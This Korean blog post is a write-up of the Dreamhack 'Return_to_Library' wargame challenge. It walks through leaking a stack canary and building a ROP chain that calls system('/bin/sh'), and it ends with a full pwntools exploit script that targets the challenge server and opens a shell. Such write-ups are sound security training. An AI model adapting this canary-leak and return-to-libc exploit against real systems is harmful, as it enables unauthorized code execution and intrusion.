암호(수학) 등.. 공부한 거 잊을거 같아서 만든 블로그

[Dreamhack] Return_to_Library 본문

Dreamhack/Pwnable

[Dreamhack] Return_to_Library

h34hg0 2023. 5. 4. 09:07

문제


 

문제 파일 : rtl.c

// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie

#include <stdio.h>
#include <unistd.h>

const char* binsh = "/bin/sh";

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Add system function to plt's entry
  system("echo 'system@plt");

  // Leak canary
  printf("[1] Leak Canary\n");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Overwrite return address
  printf("[2] Overwrite return address\n");
  printf("Buf: ");
  read(0, buf, 0x100);

  return 0;
}

풀이


checksec 을 통하여 다음을 확인할 수 있다.
 

checksec --file=./rtl

 

 // Leak canary
  printf("[1] Leak Canary\n");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Overwrite return address
  printf("[2] Overwrite return address\n");
  printf("Buf: ");
  read(0, buf, 0x100);

 
위 코드를 보면 두개의 read 함수 모두 buf 에 0x100 만큼 입력 할 수 있게 되어있다. buf의 크기는 0x30 이므로 스택 버퍼 오버플로우를 할 수 있다.
보호기법중에 카나리가 적용되어 있으므로 첫번째 read 함수를 이용하여 카나리 릭을 하자.
 

disassemble main

 
먼저 gdb 를 이용하여 main을 disassemble 하면 sub rsp, 0x40 을 통하여 스택 크기가 0x40 인 것을 알 수 있다. 
 

stack

 
stack을 확인해보면  0x38 만큼 0으로 채워져있고, 그 다음으로 카나리 값이 있는 것을 확인할 수 있다.
따라서 첫번째 read 함수에 0x39 크기의 아무 값을 입력하면 카나리 릭이 성공한다.
( 카나리의 하위 1바이트 값이 0x00 이므로 0x00 부분을 없애 주어야 read 함수가 카나리 값을 읽어올 수 있다. 따라서 문자열의 크기를 0x38이 아니라 0x39로 해서 0x00 부분을 덮어버려 출력이 가능하게 한다. )
 
문제 파일은 checksec을 통하여 NX (No-eXecute) 가 적용되어 있는 것을 확인할 수 있다. 따라서 스택 영역에는 실행 권한이 없으므로 쉘코드를 이용한 공격은 힘들다. 하지만 코드영역은 실행권한이 있으므로 return address를 이용하여 메모리에 적제된 공유 라이브러리에 있는 함수의 주소로 바꾸는 공격인 Return to Library ( RTL ) 공격을 할 것이다.
 

const char* binsh = "/bin/sh";

int main() {
  char buf[0x30];
  .
  .
  .
  system("echo 'system@plt");

 
문제의 코드를 보면 전역상수로 "/bin/sh" 문자열을 binsh 로 선언했고,  system("echo 'system@plt") 함수를 사용하여 plt 에
system 함수를 추가한 것을 알 수 있다.따라서 system의 plt 값을 알아와서 인자로 binsh 를 넣어주면 얻을 수 있다. 
 
gdb를 통하여 system의 plt 값과 "/bin/sh" 의 위치를 알아보자
 

plt
search /bin/sh

 
( 리눅스에서는 ASLR이 기본적으로 적용되어 있어 스택, 힙 등의 영역의 메모리는 실행할 때마다 메모리의 위치가 랜덤하게 변하지만 코드 세그먼트와 데이터 세그먼트는 변하지 않는다. 따라서 문제파일에서 선언된 전역 상수인 binsh 과 어셈블리어의 주소가 변하지 않는다. )

 
system 함수에 필요한 인자가 하나뿐이므로 pop rdi; ret 인 리턴가젯이 필요하다. 리턴 가젯은 ROPgadget 을 통하여 찾으면 된다.  ( 리턴 가젯은 ret으로 끝나는 어셈블리 코드 조각을 말한다. )
 

ROPgadget --binary ./rtl --re "pop rdi"

이제 페이로드을 구성해보면
'A' * 0x38 + canary + 'A' * 0x08 ( SFP ) + 0x0000000000400853 (  pop rdi; ret ) + 0x400874 ( "/bin/sh" ) + 0x4005d0 ( system@plt ) 가 된다.
 
위의 페이로드의 동작을
정리하자면
 

  1. 0x0000000000400853 (  pop rdi; ret ) 로 ret 한다. 이는 pop rip와 같으므로 rip는 0x0000000000400853 (  pop rdi; ret )  값을 가지고,  0x0000000000400853 (  pop rdi; ret ) 값을 가지던 rsp가 다음에 있는  0x400874 ( "/bin/sh" ) 값을 가진다.
  2. pop rdi 를 수행한다. 따라서 rsp의 값인  0x400874 ( "/bin/sh" ) 를 rdi 에 저장한다. 그리고  0x400874 ( "/bin/sh" ) 를 가리키던 rsp가 다음에 있는  0x4005d0 ( system@plt ) 값을 가진다.
  3. ret 을 수행한다. 이는 pop rip 이므로 rsp의 값인   0x4005d0 ( system@plt ) 가 rip 의 값이 된다. 즉 첫번째 인자인 rdi 가 "/bin/sh" 이므로 system("/bin/sh") 을 호출하게되어 쉘을 얻게 된다.

 
system 함수에는 movaps를 사용하기 때문에 스택을 0x10 단위로 정렬하지 않으면 segmentation fault 가 뜬다. 따라서  segmentation fault 가 뜬 경우에는 의미없는  리턴가젯 ( 크키 : 0x08 )  가장 먼저 추가하여  단위를 0x10 으로 맞춰주면 해결된다.
 

ROPgadget --binary ./rtl --re "ret"

본 문제에서는 segmentation fault 가 나오므로 의미 없는 리턴가젯을 추가해준다. 
따라서 페이로드은 다음과 같다. 
 
'A' * 0x38 + canary + 'A' * 0x08 ( SFP ) + 0x0000000000400285 ( ret ) + 0x0000000000400853 (  pop rdi; ret ) + 0x400874 ( "/bin/sh" ) + 0x4005d0 ( system@plt )
 
동작은 다음과 같다.
 

  1.  0x0000000000400285 ( ret ) 으로 ret 한다. 이는 pop rip와 같으므로 0x0000000000400285 ( ret ) 값을 가지던 rsp가 다음에 있는 0x0000000000400853 (  pop rdi; ret ) 값을 가지게 된다.
  2. 0x0000000000400853 (  pop rdi; ret ) 로 ret 한다. 이는 pop rip와 같으므로 rip는 0x0000000000400853 (  pop rdi; ret )  값을 가지고,  0x0000000000400853 (  pop rdi; ret ) 값을 가지던 rsp가 다음에 있는  0x400874 ( "/bin/sh" ) 값을 가진다.
  3. pop rdi 를 수행한다. 따라서 rsp의 값인  0x400874 ( "/bin/sh" ) 를 rdi 에 저장한다. 그리고  0x400874 ( "/bin/sh" ) 를 가리키던 rsp가 다음에 있는  0x4005d0 ( system@plt ) 값을 가진다.
  4. ret 을 수행한다. 이는 pop rip 이므로 rsp의 값인   0x4005d0 ( system@plt ) 가 rip 의 값이 된다. 즉 첫번째 인자인 rdi 가 "/bin/sh" 이므로 system("/bin/sh") 을 호출하게되어 쉘을 얻게 된다.

 
pwntools 를 이용하여 익스플로잇 코드를 작성했다.

exploit.py

from pwn import *

p = remote('host3.dreamhack.games', 20954)
e = ELF("./rtl")

payload = b'A' * 0x39

p.sendafter('Buf: ', payload)
p.recvuntil(payload)
canry = u64(b'\x00' + p.recv(7))
success(f'canary : {hex(canry)}')

ret = 0x0000000000400285    # ret;
pop_rdi = 0x0000000000400853    # pop rdi; ret;
bin_sh = 0x400874 # "/bin/sh"
system_plt = e.plt['system']

payload = b'A' * 0x38   
payload += p64(canry)   # Canary
payload += b'A' * 0x08  # Stack Frame Pointer

payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(system_plt)

p.sendafter('Buf: ', payload)
p.interactive()

 
 
 

쉘 획득

 
쉘을 획득한 것을 확인할 수 있다.


 

'Dreamhack > Pwnable' 카테고리의 다른 글

[Dreamhack] rop  (0) 2023.05.14
[Dreamhack] ssp_001  (0) 2023.04.09
[Dreamhack] Return to Shellcode  (0) 2023.04.07
[Dreamhack] basic_exploitation_000  (0) 2023.04.02
[Dreamhack] basic_exploitation_001  (0) 2023.04.02